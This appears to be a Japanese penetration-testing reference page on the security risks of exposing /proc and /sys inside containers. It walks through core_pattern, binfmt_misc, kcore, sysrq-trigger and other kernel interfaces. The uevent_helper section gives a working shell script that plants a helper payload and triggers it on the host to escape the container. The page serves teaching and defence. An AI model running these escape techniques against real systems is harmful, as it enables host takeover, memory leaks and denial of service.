Sensitive Mounts
/proc
および/sys
の適切な名前空間分離なしでの公開は、攻撃面の拡大や情報漏洩など、重大なセキュリティリスクをもたらします。これらのディレクトリには機密ファイルが含まれており、誤って構成されたり、認証されていないユーザーによってアクセスされたりすると、コンテナの脱出、ホストの変更、またはさらなる攻撃を助ける情報の提供につながる可能性があります。たとえば、-v /proc:/host/proc
を誤ってマウントすると、パスベースの性質によりAppArmor保護がバイパスされ、/host/proc
が保護されなくなります。
各潜在的な脆弱性の詳細は https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mountsで見つけることができます。
procfsの脆弱性
/proc/sys
/proc/sys
このディレクトリは通常、sysctl(2)
を介してカーネル変数を変更するためのアクセスを許可し、いくつかの懸念のあるサブディレクトリを含んでいます。
/proc/sys/kernel/core_pattern
/proc/sys/kernel/core_pattern
core(5)で説明されています。
最初の128バイトを引数として使用してコアファイル生成時に実行するプログラムを定義することができます。ファイルがパイプ
|
で始まる場合、コードの実行につながる可能性があります。テストと悪用例:
/proc/sys/kernel/modprobe
/proc/sys/kernel/modprobe
proc(5)で詳細に説明されています。
カーネルモジュールローダーへのパスを含み、カーネルモジュールの読み込み時に呼び出されます。
アクセスの確認例:
/proc/sys/vm/panic_on_oom
/proc/sys/vm/panic_on_oom
proc(5)で言及されています。
OOM条件が発生したときにカーネルがパニックするかOOMキラーを呼び出すかを制御するグローバルフラグです。
/proc/sys/fs
/proc/sys/fs
proc(5)によると、ファイルシステムに関するオプションと情報が含まれています。
書き込みアクセスを有効にすると、ホストに対するさまざまなサービス拒否攻撃が可能になります。
/proc/sys/fs/binfmt_misc
/proc/sys/fs/binfmt_misc
マジックナンバーに基づいて非ネイティブバイナリ形式のインタプリタを登録することができます。
/proc/sys/fs/binfmt_misc/register
が書き込み可能である場合、特権昇格やルートシェルアクセスにつながる可能性があります。関連する悪用と説明:
詳細なチュートリアル: ビデオリンク
/proc
内のその他のファイル
/proc
内のその他のファイル/proc/config.gz
/proc/config.gz
CONFIG_IKCONFIG_PROC
が有効になっている場合、カーネル構成を公開する可能性があります。実行中のカーネルの脆弱性を特定するために攻撃者に役立ちます。
/proc/sysrq-trigger
/proc/sysrq-trigger
Sysrqコマンドを呼び出すことを許可し、即座のシステム再起動やその他の重要なアクションを引き起こす可能性があります。
ホストの再起動例:
/proc/kmsg
/proc/kmsg
カーネルリングバッファメッセージを公開します。
カーネルの悪用、アドレスリーク、機密システム情報の提供に役立ちます。
/proc/kallsyms
/proc/kallsyms
カーネルがエクスポートしたシンボルとそのアドレスをリストします。
特にKASLRを克服するためにカーネル悪用の開発に不可欠です。
kptr_restrict
が1
または2
に設定されていると、アドレス情報が制限されます。proc(5)で詳細が説明されています。
/proc/[pid]/mem
/proc/[pid]/mem
カーネルメモリデバイス
/dev/mem
とのインターフェースです。歴史的に特権昇格攻撃の脆弱性がありました。
proc(5)で詳細が説明されています。
/proc/kcore
/proc/kcore
ELFコア形式でシステムの物理メモリを表します。
読み取りによりホストシステムや他のコンテナのメモリ内容が漏洩する可能性があります。
ファイルサイズが大きいと読み取りの問題やソフトウェアのクラッシュが発生する可能性があります。
2019年の Dumping /proc/kcore での詳細な使用法。
/proc/kmem
/proc/kmem
カーネル仮想メモリを表す
/dev/kmem
の代替インターフェースです。読み取りと書き込みが可能であり、したがってカーネルメモリの直接的な変更が可能です。
/proc/mem
/proc/mem
物理メモリを表す
/dev/mem
の代替インターフェースです。読み取りと書き込みが可能であり、すべてのメモリの変更には仮想アドレスから物理アドレスを解決する必要があります。
/proc/sched_debug
/proc/sched_debug
PID名前空間の保護をバイパスしてプロセススケジューリング情報を返します。
プロセス名、ID、およびcgroup識別子を公開します。
/proc/[pid]/mountinfo
/proc/[pid]/mountinfo
プロセスのマウント名前空間内のマウントポイントに関する情報を提供します。
コンテナの
rootfs
またはイメージの場所を公開します。
/sys
の脆弱性
/sys
の脆弱性/sys/kernel/uevent_helper
/sys/kernel/uevent_helper
カーネルデバイス
uevents
を処理するために使用されます。/sys/kernel/uevent_helper
に書き込むと、uevent
トリガー時に任意のスクリプトが実行される可能性があります。悪用の例: %%%bash
ペイロードを作成
echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper
コンテナのOverlayFSマウントからホストパスを見つける
host_path=$(sed -n 's/.\perdir=([^,]).*/\1/p' /etc/mtab)
uevent_helperを悪意のあるヘルパーに設定
echo "$host_path/evil-helper" > /sys/kernel/uevent_helper
ueventをトリガー
echo change > /sys/class/mem/null/uevent
出力を読む
cat /output %%%
/sys/class/thermal
/sys/class/thermal
温度設定を制御し、DoS攻撃や物理的損傷を引き起こす可能性があります。
/sys/kernel/vmcoreinfo
/sys/kernel/vmcoreinfo
カーネルアドレスを漏洩し、KASLRを危険にさらす可能性があります。
/sys/kernel/security
/sys/kernel/security
securityfs
インターフェースを収容し、AppArmorのようなLinuxセキュリティモジュールの構成を可能にします。アクセスすることで、コンテナがMACシステムを無効にする可能性があります。
/sys/firmware/efi/vars
および /sys/firmware/efi/efivars
/sys/firmware/efi/vars
および /sys/firmware/efi/efivars
NVRAM内のEFI変数とやり取りするためのインターフェースを公開します。
誤構成や悪用により、ブリック化したノートパソコンや起動不能なホストマシンにつながる可能性があります。
/sys/kernel/debug
/sys/kernel/debug
debugfs
はカーネルに対する「ルールのない」デバッグインターフェースを提供します。制限のない性質から、セキュリティ問題の歴史があります。
参考文献
Last updated